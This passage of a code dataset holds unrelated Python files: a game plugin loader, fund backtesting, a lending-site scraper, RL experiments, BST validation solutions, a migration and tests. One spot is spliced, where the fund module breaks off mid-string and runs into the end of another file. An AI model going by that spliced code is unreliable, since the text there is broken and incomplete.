reloadPlugins])\n\n # onReload 时可能会有阻塞操作而让出CPU, 这时有可能会产生新的事件\n # 如果在 onReload 后才 buildEventMap,则这个事件会丢(因为eventMap在build之前是空的)\n # 所以,把 onReload 移到 build Event Map 之后\n for plugin in reloadPlugins:\n try:\n plugin.onReload()\n except Exception as e:\n ftlog.exception(e)\n\n @classmethod\n @catchedmethod\n def unload(cls, gameId, handler_names=None):\n \"\"\"卸载插件\"\"\"\n\n for name in handler_names:\n plugin = cls.get_plugin(name, gameId)\n if hasattr(plugin.module, \"onUnload\"):\n try:\n plugin.module.onUnload(gameId)\n except Exception:\n ftlog.error(\"TYPluginCenter.unload\"\n \"|gameId, name:\", gameId, name)\n del cls.plugins[gameId][name]\n\n handlers_config = configure.getGameJson(gameId, 'plugins', {})\n cls.buildEventMap(gameId, cls.plugins[gameId], handlers_config, cls.map_events[gameId])\n\n @classmethod\n def buildEventMap(cls, gameId, plugins, handlers_config, map_events):\n # 然后 build 事件处理表\n # step 1: 有些事件是有顺序要求的,先按顺序要求,构架一个架子\n for event, plugin_names in handlers_config['event_seq'].items():\n if ' ' in event:\n event = tuple(event.split())\n map_events[event] = []\n for plugin_name in plugin_names:\n if plugin_name == '...': # 事件顺序分割符号\n map_events[event].append('...')\n continue\n plugin = plugins.get(plugin_name)\n if plugin and event in plugin.handlers:\n map_events[event].append((plugin_name, plugin.handlers[event]))\n\n # step 2: 把 event_seq 配置中未明确的事件,加到 '...' 的位置\n for plugin_name, plugin in plugins.items():\n for event, handler in plugin.handlers.items():\n if event not in map_events:\n map_events[event] = []\n if not (plugin_name, handler) in map_events[event]: # 加过的不再加\n if '...' in map_events[event]: # 如果包含事件顺序分割符,则普通事件添加到分割符前面\n map_events[event].insert(map_events[event].index('...'), (plugin_name, handler))\n else:\n map_events[event].append((plugin_name, handler))\n\n # 最后把这个 '...' 标志删除掉\n for event_handlers in cls.map_events[gameId].values():\n if '...' in event_handlers:\n event_handlers.remove('...')\n\n ftlog.info('buildEventMap >> |', plugins, caller=cls)\n ftlog.info('buildEventMap >> |', map_events, caller=cls)\n\n @classmethod\n def isOtherGameServer(cls, gameId):\n '''判断是否为别的游戏的GR/GT,如果是,不加载当前游戏的 plugins'''\n serverType, serverId = gdata.serverType(), gdata.serverId()\n if serverType not in (gdata.SRV_TYPE_ROOM, gdata.SRV_TYPE_TABLE):\n return False\n\n if '-' in serverId:\n serverGameId = int(serverId.split('-')[0][2:])\n elif serverType == gdata.SRV_TYPE_ROOM:\n serverGameId = int(serverId[2:-4])\n elif serverType == gdata.SRV_TYPE_TABLE:\n serverGameId = int(serverId[2:-7])\n return serverGameId != gameId\n\n @classmethod\n def needLoadPlugin(cls):\n return gdata.serverType() in {\n gdata.SRV_TYPE_ROOM,\n gdata.SRV_TYPE_TABLE,\n gdata.SRV_TYPE_UTIL,\n gdata.SRV_TYPE_HTTP,\n gdata.SRV_TYPE_CENTER,\n }\n","sub_path":"source/tuyoo/src/poker/entity/game/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":12179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586773997","text":"def GetRecord(text):\r\n\titem_name = ''\r\n\titem_price_str = ''\r\n\tfoundData = 0 \r\n\trec = {}\r\n\tfor i in range(len(text) - 1):\r\n\t\tif(text[i] == ':'):\r\n\t\t\tfoundData = 1\r\n\t\telif(foundData == 0):\r\n\t\t\titem_name = item_name + text[i];\r\n\t\telif(foundData == 1):\r\n\t\t\titem_price_str = item_price_str + text[i]\r\n\trec['name'] = item_name;\r\n\trec['price'] = int(item_price_str)\r\n\treturn rec\r\n\r\n#Insertion Sort\r\ndef SortData(alist):\r\n \r\n n = len(alist)\r\n \r\n for i in range(1, n):\r\n key = alist[i]\r\n j = i;\r\n while((j > 0) and (key['price'] < alist[j - 1]['price'])):\r\n alist[j] = alist[j - 1];\r\n j = j - 1\r\n alist[j] = key\r\n return\r\n\r\n\r\nf = open(\"Input.txt\", \"r\")\r\ntext = f.readline()\r\ndataList = []\r\nwhile(len(text) > 0):\r\n\tdataList.append(GetRecord(text))\t\r\n\ttext = f.readline()\r\n\t\r\nSortData(dataList)\r\nnum_emp = int(input(\"Number of the employees:\"));\r\n\r\ndiff_list = []\r\nfor i in range(len(dataList) + 1 - num_emp):\r\n\tdiff_list.append(dataList[i + num_emp - 1]['price'] - dataList[i]['price']) \r\n\r\nlowest_index = 0;\r\nlowest_val = diff_list[0];\r\nfor i in range(len(diff_list)):\r\n\tif(diff_list[i] < lowest_val):\r\n\t\tlowest_index = i;\r\n\t\tlowest_val = diff_list[i]\r\n\r\noutf = open(\"sample_output.txt\", \"w\")\r\ntext = 'Number of the employees:' + str(num_emp)\r\noutf.writelines(text)\r\noutf.writelines('\\n')\r\noutf.writelines('\\n')\r\noutf.writelines('Here the goodies that are selected for distribution are:\\n')\r\nfor i in range(lowest_index,lowest_index + num_emp):\r\n\toutf.writelines(dataList[i]['name'])\r\n\toutf.writelines(':')\r\n\toutf.writelines(str(dataList[i]['price']))\r\n\toutf.writelines('\\n')\r\noutf.writelines('\\n')\r\noutf.writelines('And the difference between the chosen goodie with highest price and the lowest price is ')\r\noutf.writelines(str(lowest_val))","sub_path":"HighPeak.py","file_name":"HighPeak.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"196982116","text":"import pandas as pd\nimport numpy as np\nimport time\n\nfrom sklearn.manifold import MDS\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sqlalchemy import create_engine\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom bokeh.embed import components\nfrom bokeh.models import HoverTool, Range1d\nfrom bokeh.plotting import ColumnDataSource, figure\nfrom bokeh.resources import CDN\n\nengine = create_engine('sqlite:///fund.db')\n\n\ndef selection(start, btest_time, investement_type, i, sharpe_ratio, std, beta, treynor_ratio, choose):\n start_unix = time.mktime(\n (start - relativedelta(months=btest_time-i)).timetuple())\n end_unix = time.mktime(\n (start - relativedelta(days=+1, months=-i)).timetuple())\n\n if investement_type[0] == \"不分類\":\n data_df = pd.read_sql(sql='select * from price where date between ? and ? order by date asc',\n con=engine, params=[start_unix, end_unix])\n else:\n data_df = pd.read_sql(sql='SELECT * FROM price WHERE EXISTS\\\n (SELECT fund_id FROM basic_information\\\n WHERE area = ? and investment_target = ? and price.date between ? and ?\\\n and fund_id == price.fund_id)',\n con=engine, params=[investement_type[0], investement_type[1], start_unix, end_unix])\n if \"0050 元大台灣50\" not in data_df.fund_id.values:\n data_df = pd.concat([data_df, pd.read_sql(\n sql='select * from price where fund_id = \"0050 元大台灣50\" and date between ? and ? order by date asc',\n con=engine, params=[start_unix, end_unix])])\n\n data_df = data_df.pivot(index='date', columns='fund_id', values='nav')\n data_df = data_df.fillna(method=\"ffill\")\n data_df = data_df.fillna(method=\"bfill\")\n\n indicator_Rp = (data_df - data_df.iloc[0]) / data_df.iloc[0]\n indicator_σp = indicator_Rp.std(ddof=1)\n indicator_ρpm = indicator_Rp.corr()[\"0050 元大台灣50\"]\n indicator_σm = indicator_σp[\"0050 元大台灣50\"]\n indicator_βp = indicator_ρpm * indicator_σp / indicator_σm\n bl = data_df.iloc[0] > 0\n\n if bool(sharpe_ratio):\n sharpe_ratio = float(sharpe_ratio)\n bl = bl & ((indicator_Rp.iloc[-1] - (0.01 / data_df.shape[0])) /\n indicator_σp > sharpe_ratio)\n if bool(std):\n std = float(std)\n bl = bl & (indicator_σp < std)\n if bool(beta):\n beta = float(beta)\n bl = bl & (indicator_βp < beta)\n if bool(treynor_ratio):\n treynor_ratio = float(treynor_ratio)\n bl = bl & ((indicator_Rp.iloc[-1] - 0.01) /\n indicator_βp > treynor_ratio)\n\n data_df = data_df.T[bl].T\n data_df = data_df.pct_change()\n data_df_std = data_df.std()\n data_df = data_df.drop(data_df_std[data_df_std == 0].index.values, axis = 1)\n data_df = data_df.corr()\n data_df = 1 - data_df * 0.5 - 0.5\n\n camp = pd.DataFrame(AgglomerativeClustering(n_clusters=4).fit(\n data_df).labels_, index=data_df.index, columns=['label'])\n for i, ch in enumerate(choose):\n if ch in camp.index:\n camp = camp.drop(\n camp[camp.label == camp.loc[ch].label].index, axis=0)\n else:\n temp = camp.sample(n=1)\n camp = camp.drop(camp[camp.label == temp.label[0]].index, axis=0)\n choose[i] = temp.index[0]\n return choose\n\n\ndef profit_indicator(profit, start, end, response_data):\n df_0050 = pd.read_sql(sql='select nav,date from price where fund_id = \"0050 元大台灣50\" and date between ? and ? order by date asc',\n con=engine,\n params=[time.mktime(start.timetuple()),\n time.mktime(end.timetuple())],\n index_col=\"date\")\n df_0050 = ((df_0050 - df_0050.iloc[0]) / df_0050.iloc[0])\n\n indicator_σp = profit.std(ddof=1, axis=0)[0]\n indicator_ρpm = pd.concat([profit, df_0050], axis=1).corr().iloc[0][1]\n indicator_σm = df_0050.std(ddof=1)[0]\n indicator_βp = indicator_ρpm * indicator_σp / indicator_σm\n\n response_data['sharpe_ratio'] = (\n (profit.iloc[-1] - (0.01 / profit.shape[0])) / indicator_σp)[0]\n response_data['std'] = indicator_σp\n response_data['beta'] = indicator_βp\n response_data['treynor_ratio'] = (\n (profit.iloc[-1] - 0.01) / indicator_βp)[0]\n\n\ndef img(start, end, investement_type, sharpe_ratio, std, beta, treynor_ratio, btest_time, money, buy_ratio, strategy, frequency):\n profit = pd.DataFrame()\n hold = np.zeros((4), dtype=np.float)\n response_data = {}\n response_data['start'] = start.strftime('%Y-%m')\n response_data['mean_similarity'] = 0\n length = 12 * (end.year - start.year) + (end.month - start.month) + 1\n choose = np.asarray([\" \", \" \", \" \", \" \"], dtype=' 0:\n result.pop()\n K -= 1\n result.append(n)\n\n\nif K != 0:\n\n result = result[:-K]\n\n\n \n\n\nprint(''.join(result))\n\n\n\n\n","sub_path":"week_02/boj_G5_2812_Heegun.py","file_name":"boj_G5_2812_Heegun.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"386174689","text":"import os\nfrom flask import Blueprint, render_template\n\nkitchen_view = Blueprint('kitchen_view', __name__)\n\n\ndef get_kitchen_images():\n images = []\n for i in os.listdir(os.path.split(os.path.realpath(__file__))[0].replace('/views', '')+'/static/gallery/kitchens'):\n if i != '.DS_Store':\n images.append(\"gallery/kitchens/\" + i)\n return images\n\n\n@kitchen_view.route(\"/gallery/kitchens\") \ndef kitchen():\n return render_template('gallery/kitchens.html', images=get_kitchen_images())","sub_path":"app/views/kitchen.py","file_name":"kitchen.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139492571","text":"import scipy.misc\nimport matplotlib.pyplot as plt\n#load already prepared ndarray from scipy\nlena = scipy.misc.ascent()\n\n#set the default colormap to gray\nplt.gray()\n\nplt.imshow(lena)\nplt.colorbar()\n#plt.show()\n\nprint(lena.shape)\nprint(lena.max())\nprint(lena.dtype)\nprint(type(lena))\n","sub_path":"python数据可视化编程/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"262349223","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nfrom datetime import datetime, timedelta\n\n\nclass PPDai(object):\n def __init__(self):\n self.session = self._get_session()\n # 黑名单url列表页\n self.hmd_urls= ['http://invest.ppdai.com/account/blacklist?PageIndex={}&IsCalendarRequest=0'.format(i) for i in range(1, 12)]\n # 已还清url列表页\n self.yhq_urls = ['http://invest.ppdai.com/account/paybacklend?Type=2&pageIndex={}'.format(i) for i in range(1, 260)]\n # 收款中url列表页\n self.skz_urls = ['http://invest.ppdai.com/account/paybacklend?Type=2&pageIndex={}'.format(i) for i in range(1, 561)]\n # # 资金流水列表页\n # self.money_history_urls = ['http://www.ppdai.com/moneyhistory?page={page}'.format(page=page) for page in range(1, 5)]\n\n @staticmethod\n def _get_session():\n url = 'https://ac.ppdai.com/User/Login?message=&Redirect='\n form = {\n 'IsAsync': True,\n 'Redirect': 'http://www.ppdai.com/account/lend',\n 'UserName': 'myaccout',\n 'Password': 'mypassword',\n 'RememberMe': True}\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',\n 'Referer': 'https://ac.ppdai.com/User/Login?message=&Redirect='}\n session = requests.session()\n session.get(url)\n session.post(url, data=form, headers=headers)\n return session\n\n # 获取已投资的所有致富标url\n def get_zf_lend_urls(self):\n zf_lend_urls = []\n for url in self.yhq_urls + self.skz_urls:\n html = self.session.get(url).text\n soup = BeautifulSoup(html, 'lxml')\n # 获取目标navigablestring\n zf_lend_nvstrings = soup.find_all(text='¥55.00')\n # 获取目标url\n for nvstring in zf_lend_nvstrings:\n zf_lend_url = nvstring.find_previous(name='a', target='_blank', class_='c39a1ea fs16 visitedpurple', custom='hover')['href']\n zf_lend_urls.append(zf_lend_url)\n return zf_lend_urls\n\n # 查找带息还清致富标url和还款金额(借出金额=55,还款金额>57.5,则算是带息还清)\n def get_zf_dxhq(self):\n zf_dxhq = []\n com_money = re.compile('^(¥)(.*)')\n for url in self.yhq_urls:\n html = self.session.get(url).text\n soup = BeautifulSoup(html, 'lxml')\n zf_yhq_nvstings = soup.find_all(text='¥55.00')\n for nvstring in zf_yhq_nvstings:\n payback = float(com_money.match(nvstring.parent.parent.previous_element.previous_element)[2]) # 还款金额\n if nvstring.parent.previous_sibling == '借出金额:' and payback >= 57.5:\n url = nvstring.find_previous(name='a', target='_blank', class_='c39a1ea fs16 visitedpurple', custom='hover')['href'] # 目标url\n zf_dxhq.append((url, payback))\n return zf_dxhq\n\n # 计算额外盈利金额(2月内还清算额外盈利)\n def get_zf(self):\n zf_count = 0\n zf_sum = 0\n com_day = re.compile('(\\r\\n)(\\d{4}/\\d{1,2}/\\d{1,2})')\n for url, payback in self.get_zf_dxhq():\n html = self.session.get(url).text\n soup = BeautifulSoup(html, 'lxml')\n # 获取投标结束时间\n load_date = datetime.strptime(\n soup.find(\n text=re.compile('.*结束时间:.*')).find_next_sibling(\n 'span',\n class_=\"countdown_row countdown_amount\",\n id=\"leftTime\").string,\n '%Y/%m/%d')\n # 获取最晚一期的还款日期\n max_pay_date = datetime.strptime(com_day.match(\n soup.find_all(text=com_day)[-1])[2], '%Y/%m/%d')\n if max_pay_date - load_date < timedelta(days=60, hours=1):\n # print(url, str(payback))\n zf_count += 1\n zf_sum += (payback - 55.00) # 计算额外盈利\n return zf_count, zf_sum\n \n # 获取致富标逾期金额\n def get_yq_sum(self):\n yq_sum = 0\n for url in self.hmd_urls:\n html = self.session.get(url).text\n soup = BeautifulSoup(html, 'lxml')\n com_list = re.compile('¥(\\d*\\.\\d*)\\s/\\s¥(\\d*\\.\\d*)\\s/\\s¥(\\d*\\.\\d*)')\n for temp_list in soup.find_all(text=com_list):\n if com_list.match(temp_list)[3] == '55.00':\n yq = (55.00 - float(com_list.match(temp_list)[2]))\n yq_sum += yq\n return yq_sum\n\n\nif __name__ == '__main__':\n ppdai = PPDai()\n print('致富标总投标量:%s' % len(ppdai.get_zf_lend_urls()))\n print('致富标总投资金额:%s' % (len(ppdai.get_zf_lend_urls())*55))\n print('致富标2月内带息还清标量:%s' % ppdai.get_zf()[0])\n print('策略致富比率:%s', ppdai.get_zf()[0] / len(ppdai.get_zf_lend_urls()))\n print('致富标额外盈利金额:%s' % ppdai.get_zf()[1])\n print('致富标已逾期金额:%s' % ppdai.get_yq_sum())\n","sub_path":"ppdai/zhifu.py","file_name":"zhifu.py","file_ext":"py","file_size_in_byte":5187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258177750","text":"from flask import Flask\r\nfrom flask_restful import Resource, Api\r\n\r\napp = Flask(__name__)\r\napi = Api(app)\r\n\r\n# Define an Resource, HelloAPI, below with get method and map it to URLs '/' and '/index/'\r\n# The get method should return a dictionary {'message': 'Hello World!!!'}\r\nclass HelloAPI(Resource):\r\n def get(self):\r\n return {'message': 'Hello World!!!'}\r\n\r\napi.add_resource(HelloAPI, '/', '/index/')\r\n\r\nif __name__ == '__main__':\r\n app.run()","sub_path":"Hands-on/Flask - Restful API Programming/HS1_Simple Flask REST API.py","file_name":"HS1_Simple Flask REST API.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"49484282","text":"from mjrl.utils.gym_env import GymEnv\nfrom mjrl.policies.gaussian_mlp_ewc import MLPEWC\nfrom mjrl.baselines.mlp_baseline import MLPBaseline\nfrom mjrl.algos.npg_cg_er import NPGER\nfrom mjrl.utils.train_agent import train_agent\nimport time as timer\nimport numpy as np\nimport gym\nimport pickle\nimport torch\nimport os\nfrom mjrl.utils.make_train_plots import make_multitask_train_plots, make_multitask_test_plots\n\nimport argparse\nparser = argparse.ArgumentParser(description='Experimental evaluation of lifelong PG learning')\n\nparser.add_argument('-n', '--num_seeds', dest='num_seeds', default=5, type=int)\nparser.add_argument('-i', '--initial_seed', dest='initial_seed', default=0, type=int)\n\nargs = parser.parse_args()\n\nSEED = 50 + 10 * args.initial_seed # use different orders for tuning\njob_name_er = 'results/metaworld_er_exp'\ntorch.set_num_threads(5)\n\n# MTL policy\n# ==================================\n\nnum_tasks = 10\nnum_seeds = args.num_seeds\ninitial_seed = args.initial_seed\nnum_cpu = 5\n\nenv_dict = {\n 'reach-v1': 'sawyer_reach_push_pick_place:SawyerReachPushPickPlaceEnv',\n 'push-v1': 'sawyer_reach_push_pick_place:SawyerReachPushPickPlaceEnv',\n 'pick-place-v1': 'sawyer_reach_push_pick_place:SawyerReachPushPickPlaceEnv',\n 'door-v1': 'sawyer_door:SawyerDoorEnv',\n 'drawer-open-v1': 'sawyer_drawer_open:SawyerDrawerOpenEnv',\n 'drawer-close-v1': 'sawyer_drawer_close:SawyerDrawerCloseEnv',\n 'button-press-topdown-v1': 'sawyer_button_press_topdown:SawyerButtonPressTopdownEnv',\n 'peg-insert-side-v1': 'sawyer_peg_insertion_side:SawyerPegInsertionSideEnv',\n 'window-open-v1': 'sawyer_window_open:SawyerWindowOpenEnv',\n 'window-close-v1': 'sawyer_window_close:SawyerWindowCloseEnv',\n}\n\ne_unshuffled = {}\n\nfor task_id, (env_id, entry_point) in enumerate(env_dict.items()):\n kwargs = {'obs_type': 'plain'}\n if env_id == 'reach-v1':\n kwargs['task_type'] = 'reach'\n elif env_id == 'push-v1':\n kwargs['task_type'] = 'push'\n elif env_id == 'pick-place-v1':\n kwargs['task_type'] = 'pick_place'\n gym.envs.register(\n id=env_id,\n entry_point='metaworld.envs.mujoco.sawyer_xyz.' + entry_point,\n max_episode_steps=150,\n kwargs=kwargs\n )\n e_unshuffled[task_id] = GymEnv(env_id)\n\nfor i in range(initial_seed, num_seeds + initial_seed):\n np.random.seed(SEED)\n torch.manual_seed(SEED)\n\n job_name_er_seed = job_name_er + '/seed_{}'.format(i)\n\n e = {}\n baseline_er = {} \n task_order = np.random.permutation(num_tasks)\n for task_id in range(num_tasks):\n e[task_id] = e_unshuffled[task_order[task_id]]\n baseline_er[task_id] = MLPBaseline(e[task_id].spec, reg_coef=1e-3, batch_size=64, epochs=10, learn_rate=1e-3, use_gpu=True)\n\n policy_er = MLPEWC(e[0].spec, hidden_sizes=(32,32), seed=SEED)\n agent_er = NPGER(e, policy_er, baseline_er, capacity=500, normalized_step_size=0.01, seed=SEED, save_logs=True, gamma=0.995, gae_lambda=0.97)\n\n for task_id in range(num_tasks):\n ts = timer.time()\n train_agent(job_name=job_name_er_seed,\n agent=agent_er,\n seed=SEED,\n niter=200,\n gamma=0.995, \n gae_lambda=0.97,\n num_cpu=num_cpu,\n sample_mode='trajectories',\n num_traj=50,\n save_freq=5,\n evaluation_rollouts=0,\n task_id=task_id)\n iterdir = job_name_er_seed + '/iterations/task_{}/'.format(task_id)\n os.makedirs(iterdir, exist_ok=True)\n policy_file = open(iterdir + 'policy_updated.pickle', 'wb')\n pickle.dump(agent_er.policy, policy_file)\n policy_file.close()\n\n print(\"time taken for linear policy training = %f\" % (timer.time()-ts))\n\n f = open(job_name_er_seed+'/trained_mtl_policy.pickle', 'wb')\n pickle.dump(policy_er, f)\n f.close()\n f = open(job_name_er_seed+'/trained_mtl_baseline.pickle', 'wb')\n pickle.dump(baseline_er, f)\n f.close()\n f = open(job_name_er_seed+'/task_order.pickle', 'wb')\n pickle.dump(task_order, f)\n f.close()\n\n\n make_multitask_train_plots(loggers=agent_er.logger, keys=['stoc_pol_mean'], save_loc=job_name_er_seed+'/logs/')\n\n mean_test_perf = agent_er.test_tasks(test_rollouts=10,\n num_cpu=num_cpu)\n result = np.mean(list(mean_test_perf.values()))\n print(result)\n make_multitask_test_plots(mean_test_perf, save_loc=job_name_er_seed+'/')\n\n result_file = open(job_name_er_seed + '/results.txt', 'w')\n result_file.write(str(mean_test_perf))\n result_file.close()\n\n SEED += 10\n\n\n\n","sub_path":"experiments/metaworld_tasks/metaworld_er.py","file_name":"metaworld_er.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231046466","text":"#https://leetcode.com/problems/validate-binary-search-tree/description/\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def isValidBST(self, root):\n \"\"\"\n Solution 1: Use definition of BST, root has to be greater ('>') than every thing on left sub tree, and smaller ('<') than everything in right sub tree. And each subtree has to be BST itself.\n Passed!\n\n Can use float('inf') and float('-inf') instead of None value for minVal & maxVal. A perk of using python.\n\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n def isBST(root, minVal, maxVal):\n if root is None:\n return True\n\n if (minVal is not None and root.val <= minVal) or (maxVal is not None and root.val >= maxVal):\n return False\n\n return isBST(root.left, minVal=minVal, maxVal=root.val) and isBST(root.right, minVal=root.val, maxVal=maxVal)\n\n return isBST(root)\n\n def isValidBST2(self, root):\n \"\"\"\n Solution 2: In in-order-traversal, values have to be in increasing order. Recursive.\n Passed!\n \"\"\"\n def inorder(root, preVal):\n '''\n Return a tuple (is subtree a BST, max value in the subtree).\n '''\n if root is None: return (True, preVal)\n\n isLeftBST, maxLeftVal = inorder(root.left, preVal)\n\n if isLeftBST and (maxLeftVal is None or maxLeftVal < root.val):\n return inorder(root.right, root.val)\n else:\n return (False, None)\n\n result, maxVal = inorder(root, float('-inf'))\n return result\n\n\n def isValidBST2b(self, root):\n \"\"\"\n Solution 2b: same as solution 2, but instead of returning max value in each function call, keep the most recent value seen in a nonlocal variable\n Passed!\n \"\"\"\n def inorder(root):\n nonlocal recentVal # nonlocal instead of global (!)\n if root is None: return True\n\n if not inorder(root.left) or root.val <= recentVal: return False\n\n recentVal = root.val # update recent value only when examining the root\n return inorder(root.right)\n\n recentVal = float('-inf')\n return inorder(root)\n\n def isValidBST3(self, root):\n '''\n Solution 3: In in-order-traversal iteratively using stack. In python, use Lists as stack.\n Keys:\n - Top of the stack is always the left most node of the tree at that point (after other left-most nodes have been popped)\n - Popping order is in-order\n - Adding root (of a subtree) and its left-most-path to stack instead of adding left-most-path of top-of-the-stack node (this causes duplication)\n Passed!\n '''\n if root is None: return True\n\n # add leftmost path of the tree\n stack = list([root])\n while stack[-1].left:\n stack.append(stack[-1].left)\n\n preval = float('-inf')\n while len(stack) > 0:\n top = stack[-1]\n if top.val <= preval: return False\n\n # pop the top, add its immediate right child and that chid's left most path\n preval = top.val\n stack.pop()\n if top.right:\n stack.append(top.right)\n while stack[-1].left:\n stack.append(stack[-1].left)\n\n return True\n\n def isValidBST3b(self, root):\n '''\n Solution 3b: In-order iterative traversal but smarter.\n Key: Use null to signal that left tree of the top-of-the-stack node is gone.\n Learn from https://leetcode.com/problems/validate-binary-search-tree/discuss/32112/Learn-one-iterative-inorder-traversal-apply-it-to-multiple-tree-questions-(Java-Solution)\n Passed!\n '''\n stack = list()\n preval = float('-inf')\n\n while root or len(stack) > 0:\n # add root and its left most path to stack\n while root:\n stack.append(root)\n root = root.left\n\n # the left tree of top-of-the-stack node is gone at this point\n root = stack.pop()\n if root.val <= preval:\n return False\n preval = root.val\n\n # the brilliant assignment without checking for None on root.right!\n root = root.right\n\n return True","sub_path":"2018/lc_ValidateBST.py","file_name":"lc_ValidateBST.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"621073906","text":"\"\"\"remove table session_scores\n\nRevision ID: f0d14b53f8d2\nRevises: c8d111efa2dd\nCreate Date: 2021-02-23 21:46:00.667947\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f0d14b53f8d2'\ndown_revision = 'c8d111efa2dd'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('session_scores')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('session_scores',\n sa.Column('session_id', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('user_id', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('score', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('id', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.ForeignKeyConstraint(['session_id'], ['game_sessions.id'], name='session_scores_session_id_fkey', ondelete='CASCADE'),\n sa.ForeignKeyConstraint(['user_id'], ['users.user_id'], name='session_scores_user_id_fkey', ondelete='CASCADE')\n )\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/f0d14b53f8d2_remove_table_session_scores.py","file_name":"f0d14b53f8d2_remove_table_session_scores.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"356221844","text":"# coding=utf-8\n# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport unittest\nfrom os.path import join\n\nfrom pants.base.project_tree import Dir\nfrom pants.engine.fs import PathDirWildcard, PathGlobs, PathRoot, PathWildcard\n\n\ndef pw(relative_to, *args):\n return PathWildcard(Dir(relative_to), relative_to, *args)\n\n\ndef pdw(relative_to, *args):\n return PathDirWildcard(Dir(relative_to), relative_to, *args)\n\n\nclass PathGlobsTest(unittest.TestCase):\n\n def assert_pg_equals(self, pathglobs, relative_to, filespecs):\n self.assertEquals(PathGlobs(tuple(pathglobs)), PathGlobs.create_from_specs(relative_to, filespecs))\n\n def test_root(self):\n self.assert_pg_equals([PathRoot()], '', [''])\n\n def test_literal(self):\n subdir = 'foo'\n name = 'Blah.java'\n self.assert_pg_equals([pw('', name)], '', [name])\n self.assert_pg_equals([pw(subdir, name)], subdir, [name])\n self.assert_pg_equals([pdw('', subdir, name)], '', [join(subdir, name)])\n\n def test_wildcard(self):\n name = '*.java'\n subdir = 'foo'\n self.assert_pg_equals([pw('', name)], '', [name])\n self.assert_pg_equals([pw(subdir, name)], subdir, [name])\n\n def test_dir_wildcard(self):\n name = 'Blah.java'\n subdir = 'foo'\n wildcard = '*'\n self.assert_pg_equals([pdw(subdir, wildcard, name)],\n subdir,\n [join(wildcard, name)])\n\n def test_dir_wildcard_directory(self):\n subdir = 'foo'\n wildcard = '*'\n name = '.'\n self.assert_pg_equals([pw('', wildcard)],\n '',\n [join(wildcard, name)])\n self.assert_pg_equals([pw(subdir, wildcard)],\n subdir,\n [join(wildcard, name)])\n\n def test_recursive_dir_wildcard(self):\n name = 'Blah.java'\n subdir = 'foo'\n wildcard = '**'\n self.assert_pg_equals([pdw(subdir, '*', join(wildcard, name)), pw(subdir, name)],\n subdir,\n [join(wildcard, name)])\n\n def test_trailing_doublestar(self):\n subdir = 'foo'\n wildcard = '**'\n self.assert_pg_equals([pdw(subdir, '*', wildcard), pw(subdir, '*')],\n subdir,\n [wildcard])\n\n def test_doublestar_mixed_wildcard(self):\n subdir = 'foo'\n wildcard = '**abc'\n name = 'Blah.java'\n\n self.assert_pg_equals([pw(subdir, wildcard)], subdir, [wildcard])\n self.assert_pg_equals([pdw(subdir, wildcard, name)], subdir, [join(wildcard, name)])\n","sub_path":"tests/python/pants_test/engine/test_path_globs.py","file_name":"test_path_globs.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"613860644","text":"\nfrom flask import Flask, render_template, jsonify ,request \nfrom flask_sqlalchemy import SQLAlchemy\nimport pandas as pd\n# from sklearn.linear_model import LinearRegression\nfrom sqlalchemy import func,extract\nfrom _operator import not_\nimport datetime\n# flask edition:0.12\nimport time\nimport os\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.feature_extraction import DictVectorizer\nfrom app_.translate_time import TimeStampToTime,get_FileModifyTime\nfrom prediction.predictor import predict_,predict_model,create_predict_set\nimport joblib\n\nclass Config(object):\n \"\"\"setting the configuration\"\"\"\n # use sqlalchemy configure the connection\n # format:mysql://username:password@host:port/database_name\n# SQLALCHEMY_DATABASE_URI = \"{}://{}:{}@{}:{}/{}\".format( )\n\n SQLALCHEMY_DATABASE_URI = 